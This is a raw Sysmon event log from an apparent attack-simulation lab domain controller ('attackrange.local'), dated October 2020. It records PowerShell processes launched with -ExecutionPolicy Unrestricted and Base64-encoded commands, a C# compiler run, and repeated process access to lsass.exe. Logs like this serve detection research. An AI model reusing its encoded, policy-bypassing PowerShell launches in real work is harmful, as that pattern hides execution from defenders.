09:08:43.332{A5F018FF-289B-5F80-0C03-000000007E01}4616C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe4.7.2053.0 built by: NET47REL1Visual C# Command Line CompilerMicrosoft® .NET FrameworkMicrosoft Corporationcsc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\yducswdl.cmdline"C:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289A-5F80-95B1-110000000000}0x11b1950HighMD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== 11241100x8000000000000000383Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:43.330{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\yducswdl.cmdline2020-10-09 09:08:43.330 11241100x8000000000000000382Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.localDLL2020-10-09 09:08:43.315{A5F018FF-289A-5F80-0A03-000000007E01}4424C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\yducswdl.dll2020-10-09 09:08:43.315 10341000x8000000000000000611Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.768{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000610Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.768{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000609Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.768{A5F018FF-272B-5F80-0B00-000000007E01}860928C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000608Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.596{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000607Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.596{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 11241100x8000000000000000606Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.565{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Users\Administrator\AppData\Local\Temp\__PSScriptPolicyTest_5azt1a3i.0uk.ps12020-10-09 09:08:44.565 10341000x8000000000000000605Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.549{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000604Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-289C-5F80-1703-000000007E01}47404288C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000603Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000602Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000601Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000600Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000599Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000598Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000597Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000596Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000595Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000594Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-2724-5F80-0500-000000007E01}6402972C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000593Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000592Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000591Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.518{A5F018FF-289C-5F80-1803-000000007E01}27404520C:\Windows\system32\cmd.exe{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Windows\system32\cmd.exe+f1e1|C:\Windows\system32\cmd.exe+11a37|C:\Windows\system32\cmd.exe+cb0d|C:\Windows\system32\cmd.exe+c295|C:\Windows\system32\cmd.exe+f916|C:\Windows\system32\cmd.exe+1510d|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000590Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.529{A5F018FF-289C-5F80-1903-000000007E01}4496C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe10.0.14393.206 (rs1_release.160915-0644)Windows PowerShellMicrosoft® Windows® Operating SystemMicrosoft CorporationPowerShell.EXEPowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUAC:\Users\Administrator\ATTACKRANGE\Administrator{A5F018FF-289C-5F80-1F0C-120000000000}0x120c1f0HighMD5=097CE5761C89434367598B34FE32893B,SHA256=BA4038FD20E474C047BE8AAD5BFACDB1BFC1DDBE12F803F473B7918D8D819436,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453{A5F018FF-289C-5F80-1803-000000007E01}2740C:\Windows\System32\cmd.exeC:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA 10341000x8000000000000000589Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 